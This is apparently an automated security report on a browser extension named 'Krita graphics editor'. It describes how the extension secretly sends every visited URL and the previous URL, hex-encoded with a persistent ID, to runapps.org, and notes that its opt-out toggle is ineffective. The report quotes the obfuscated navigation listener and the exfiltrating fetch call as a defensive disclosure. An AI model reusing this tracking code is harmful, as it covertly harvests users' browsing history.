Is Krita graphics editor safe?
The extension sends every page URL you navigate to, plus the previous URL, to www.runapps.org once per day.
A background script listens to all top-level navigations and sends the full URL (including query strings) and the previous page URL, hex-encoded, with a persistent random user ID to runapps.org. It also sends URLs ending in .bnt or .blen and may open a runapps.org tab. The settings opt-out toggle writes a different storage key than the tracking code reads, so it has no effect.
Who publishes itRunApps - no other listings under this identity
RunApps - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Sends each visited page URL and previous URL, hex-encoded, to runapps.org
Code analysis shows the background script sends each top-frame URL, with the prior URL and a persistent ID, to www.runapps.org, at most once a day.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Static analysis
You navigate to a web page in any tab.
The extension sends that page's URL and the tab's previous URL to www.runapps.org.
The request is gated by a once-per-day check.
Navigation listener and outbound request
Navigation listener
runapps.js { if (ddaiss.frameId !== 0) { return; } if ( ddaiss.transitionType && ( ddaiss.transitionType.indexOf("frame") <= 0 ) ) { uullr = ddaiss.url; chrome.storage.local.get(ddaiss.tabId.toString(), function (item) { var urla = item[ddaiss.tabId.toString()]; avisyu(uullr + "|||" + urla); var tiu = {}; tiu[ddaiss.tabId.toString()] = uullr; chrome.storage.local.set(tiu);Outbound request
runapps.jslet r56y = await fetch('https://www.runapps.org/app/applicaton-krita.php?d22=' + d22 + '&fpah=' + b2hxx(uullrx) + '&xx=1&u=' + un);- fpah68747470733a2f2f7777772e6578616d706c652e636f6d2f6163636f756e742f6f72646572733f69643d343832317c7c7c68747470733a2f2f7777772e6578616d706c652e636f6d2f6c6f67696e
Hex of the visited URL, then |||, then the tab's previous URL.
- uk3x9qmz7ta
Random 10-character ID kept in local storage; stays the same across requests.
- d2209
Day of the month, used for the once-a-day gate.
The URL is hex-encoded, so the request does not show the visited address in plain text.
https://www.example.com/account/orders?id=4821|||https://www.example.com/login- www.runapps.org
Receives the URL pair and persistent ID; its reply can open a runapps.org tab.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 1.1.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every secure site you visit
https://*/*
Read and change your data on every site you visit
http://*/*
Store data in your browser
storage
See every page you navigate to, as you navigate to it
webNavigation
Where it sends data
Destinations our analysis observed Krita graphics editor contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- www.runapps.org
Krita graphics editor sends data to www.runapps.org. 16 other extensions we have analysed send data here.